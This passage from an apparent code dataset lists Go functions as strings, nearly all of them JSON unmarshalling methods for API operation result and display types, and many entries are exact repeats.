map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", f, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &f.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &f.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", f, err)\n\t\t}\n\t}\n\treturn nil\n}","func DecodeOperation(payload []byte) (*Operation, error) {\n\top := &Operation{}\n\tif err := json.Unmarshal(payload, op); err != nil {\n\t\treturn nil, err\n\t} else {\n\t\treturn op, nil\n\t}\n}","func (m *OperationResult) UnmarshalJSON(raw []byte) error {\n\tvar data struct {\n\t\tCreatedDateTime strfmt.DateTime `json:\"createdDateTime,omitempty\"`\n\n\t\tLastActionDateTime strfmt.DateTime `json:\"lastActionDateTime,omitempty\"`\n\n\t\tMessage string `json:\"message,omitempty\"`\n\n\t\tOperationProcessingResult json.RawMessage `json:\"operationProcessingResult,omitempty\"`\n\n\t\tOperationType string `json:\"operationType,omitempty\"`\n\n\t\tStatus string `json:\"status,omitempty\"`\n\t}\n\n\tbuf := bytes.NewBuffer(raw)\n\tdec := json.NewDecoder(buf)\n\tdec.UseNumber()\n\n\tif err := dec.Decode(&data); err != nil {\n\t\treturn err\n\t}\n\n\toperationProcessingResult, err := UnmarshalOperationProcessingResult(bytes.NewBuffer(data.OperationProcessingResult), runtime.JSONConsumer())\n\tif err != nil && err != io.EOF {\n\t\treturn err\n\t}\n\n\tvar result OperationResult\n\tresult.CreatedDateTime = data.CreatedDateTime\n\tresult.LastActionDateTime = data.LastActionDateTime\n\tresult.Message = data.Message\n\tresult.OperationProcessingResult = operationProcessingResult\n\tresult.OperationType = data.OperationType\n\tresult.Status = data.Status\n\t*m = result\n\treturn nil\n}","func (op *OpRemove) UnmarshalJSON(raw []byte) error {\n\treturn json.Unmarshal(raw, &op.Field)\n}","func (op *OpAdd) UnmarshalJSON(raw []byte) error {\n\tvar addRaw opAddRaw\n\terr := json.Unmarshal(raw, &addRaw)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"decode OpAdd: %s\", err)\n\t}\n\n\treturn op.unmarshalFromOpAddRaw(addRaw)\n}","func (ov *OperationValue) UnmarshalJSON(body []byte) error {\n\tvar m map[string]*json.RawMessage\n\terr := json.Unmarshal(body, &m)\n\tif err != nil {\n\t\treturn err\n\t}\n\tfor k, v := range m {\n\t\tswitch k {\n\t\tcase \"origin\":\n\t\t\tif v != nil {\n\t\t\t\tvar origin string\n\t\t\t\terr = json.Unmarshal(*v, &origin)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tov.Origin = &origin\n\t\t\t}\n\t\tcase \"name\":\n\t\t\tif v != nil {\n\t\t\t\tvar name string\n\t\t\t\terr = json.Unmarshal(*v, &name)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tov.Name = &name\n\t\t\t}\n\t\tcase \"display\":\n\t\t\tif v != nil {\n\t\t\t\tvar operationValueDisplay OperationValueDisplay\n\t\t\t\terr = json.Unmarshal(*v, &operationValueDisplay)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tov.OperationValueDisplay = &operationValueDisplay\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}","func (o *OperationsContent) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"id\":\n\t\t\terr = unpopulate(val, \"ID\", &o.ID)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &o.Name)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"properties\":\n\t\t\terr = unpopulate(val, \"Properties\", &o.Properties)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"systemData\":\n\t\t\terr = unpopulate(val, \"SystemData\", &o.SystemData)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"type\":\n\t\t\terr = unpopulate(val, \"Type\", &o.Type)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (j *CommitteeMemberUpdateGlobalParametersOperation) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func (o *OperationListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &o.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (o *OperationListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &o.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (o *OperationListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &o.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (o *OperationListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &o.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (o *OperationListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &o.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (o *OperationListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &o.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (o *OperationListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &o.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (o *OperationListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &o.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (o *OperationListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &o.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (o *OperationListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &o.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (o *OperationListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &o.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (o *OperationListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &o.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (o *OperationListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &o.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (o *OperationListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &o.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (o *OperationListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &o.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (a *Action) UnmarshalJSON(b []byte) error {\n\tvar s string\n\tif err := json.Unmarshal(b, &s); err != nil {\n\t\treturn err\n\t}\n\tif s == \"\" {\n\t\t*a = Action(\"apply\")\n\t} else {\n\t\t*a = Action(s)\n\t}\n\treturn nil\n}","func (this *HTTPGetAction) UnmarshalJSON(b []byte) error {\n\treturn CommonUnmarshaler.Unmarshal(bytes.NewReader(b), this)\n}","func (o *OperationListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (o *Operator) UnmarshalJSON(data []byte) error {\n\tu := jsonpb.Unmarshaler{}\n\tbuf := bytes.NewBuffer(data)\n\n\treturn u.Unmarshal(buf, &*o)\n}","func (action *Action) UnmarshalJSON(data []byte) error {\n\tvar s string\n\n\tif err := json.Unmarshal(data, &s); err != nil {\n\t\treturn err\n\t}\n\n\ta := Action(s)\n\tif !a.IsValid() {\n\t\treturn fmt.Errorf(\"invalid action '%v'\", s)\n\t}\n\n\t*action = a\n\n\treturn nil\n}","func (o *OperationResultsDescription) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"id\":\n\t\t\terr = unpopulate(val, \"ID\", &o.ID)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &o.Name)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"startTime\":\n\t\t\terr = unpopulateTimeRFC3339(val, \"StartTime\", &o.StartTime)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"status\":\n\t\t\terr = unpopulate(val, \"Status\", &o.Status)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (o *OperationDisplay) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"operation\":\n\t\t\terr = unpopulate(val, \"Operation\", &o.Operation)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"provider\":\n\t\t\terr = unpopulate(val, \"Provider\", &o.Provider)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"resource\":\n\t\t\terr = unpopulate(val, \"Resource\", &o.Resource)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (o *OperationDisplay) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"operation\":\n\t\t\terr = unpopulate(val, \"Operation\", &o.Operation)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"provider\":\n\t\t\terr = unpopulate(val, \"Provider\", &o.Provider)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"resource\":\n\t\t\terr = unpopulate(val, \"Resource\", &o.Resource)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (o *OperationDisplay) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"operation\":\n\t\t\terr = unpopulate(val, \"Operation\", &o.Operation)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"provider\":\n\t\t\terr = unpopulate(val, \"Provider\", &o.Provider)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"resource\":\n\t\t\terr = unpopulate(val, \"Resource\", &o.Resource)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (m *EqOp) UnmarshalJSON(raw []byte) error {\n\tvar data struct {\n\t\tArgs json.RawMessage `json:\"args\"`\n\t}\n\tbuf := bytes.NewBuffer(raw)\n\tdec := json.NewDecoder(buf)\n\tdec.UseNumber()\n\n\tif err := dec.Decode(&data); err != nil {\n\t\treturn err\n\t}\n\n\tvar base struct {\n\t\t/* Just the base type fields. Used for unmashalling polymorphic types.*/\n\n\t\tType string `json:\"type\"`\n\t}\n\tbuf = bytes.NewBuffer(raw)\n\tdec = json.NewDecoder(buf)\n\tdec.UseNumber()\n\n\tif err := dec.Decode(&base); err != nil {\n\t\treturn err\n\t}\n\n\tallOfArgs, err := UnmarshalQuerySlice(bytes.NewBuffer(data.Args), runtime.JSONConsumer())\n\tif err != nil && err != io.EOF {\n\t\treturn err\n\t}\n\n\tvar result EqOp\n\n\tif base.Type != result.Type() {\n\t\t/* Not the type we're looking for. */\n\t\treturn errors.New(422, \"invalid type value: %q\", base.Type)\n\t}\n\n\tresult.argsField = allOfArgs\n\n\t*m = result\n\n\treturn nil\n}","func (v *bulkUpdateRequestCommand) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson1ed00e60DecodeGithubComOlivereElasticV72(&r, v)\n\treturn r.Error()\n}","func (a *AsyncOperationResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", a, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"error\":\n\t\t\terr = unpopulate(val, \"Error\", &a.Error)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &a.Name)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"status\":\n\t\t\terr = unpopulate(val, \"Status\", &a.Status)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", a, err)\n\t\t}\n\t}\n\treturn nil\n}","func (a *Action) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", a, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"parameters\":\n\t\t\terr = unpopulate(val, \"Parameters\", &a.Parameters)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"type\":\n\t\t\terr = unpopulate(val, \"Type\", &a.Type)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", a, err)\n\t\t}\n\t}\n\treturn nil\n}","func (o *OperationCollection) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (op *OpRetain) UnmarshalJSON(raw []byte) error {\n\treturn json.Unmarshal(raw, &op.Fields)\n}","func (j *JSON) Unmarshal(input, target interface{}) error {\n\t// take the input and convert it to target\n\treturn jsonEncoding.Unmarshal(input.([]byte), target)\n}","func (o *OperationEntityListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &o.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func parseOperations(operationsJSON []byte) (operations []*HTTPOperation, batchMode bool, payloadErr error) {\n\t// there are two possible options for receiving information from a post request\n\t// the first is that the user provides an object in the form of { query, variables, operationName }\n\t// the second option is a list of that object\n\n\tsingleQuery := &HTTPOperation{}\n\t// if we were given a single object\n\tif err := json.Unmarshal(operationsJSON, &singleQuery); err == nil {\n\t\t// add it to the list of operations\n\t\toperations = append(operations, singleQuery)\n\t\t// we weren't given an object\n\t} else {\n\t\t// but we could have been given a list\n\t\tbatch := []*HTTPOperation{}\n\n\t\tif err = json.Unmarshal(operationsJSON, &batch); err != nil {\n\t\t\tpayloadErr = fmt.Errorf(\"encountered error parsing operationsJSON: %w\", err)\n\t\t} else {\n\t\t\toperations = batch\n\t\t}\n\n\t\t// we're in batch mode\n\t\tbatchMode = true\n\t}\n\n\treturn operations, batchMode, payloadErr\n}","func (o *OperationStatusResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"endTime\":\n\t\t\terr = unpopulateTimeRFC3339(val, \"EndTime\", &o.EndTime)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"error\":\n\t\t\terr = unpopulate(val, \"Error\", &o.Error)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"id\":\n\t\t\terr = unpopulate(val, \"ID\", &o.ID)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &o.Name)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"operations\":\n\t\t\terr = unpopulate(val, \"Operations\", &o.Operations)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"percentComplete\":\n\t\t\terr = unpopulate(val, \"PercentComplete\", &o.PercentComplete)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"startTime\":\n\t\t\terr = unpopulateTimeRFC3339(val, \"StartTime\", &o.StartTime)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"status\":\n\t\t\terr = unpopulate(val, \"Status\", &o.Status)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (o *OperationStatusResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"endTime\":\n\t\t\terr = unpopulateTimeRFC3339(val, \"EndTime\", &o.EndTime)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"error\":\n\t\t\terr = unpopulate(val, \"Error\", &o.Error)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"id\":\n\t\t\terr = unpopulate(val, \"ID\", &o.ID)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &o.Name)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"operations\":\n\t\t\terr = unpopulate(val, \"Operations\", &o.Operations)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"percentComplete\":\n\t\t\terr = unpopulate(val, \"PercentComplete\", &o.PercentComplete)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"startTime\":\n\t\t\terr = unpopulateTimeRFC3339(val, \"StartTime\", &o.StartTime)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"status\":\n\t\t\terr = unpopulate(val, \"Status\", &o.Status)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: 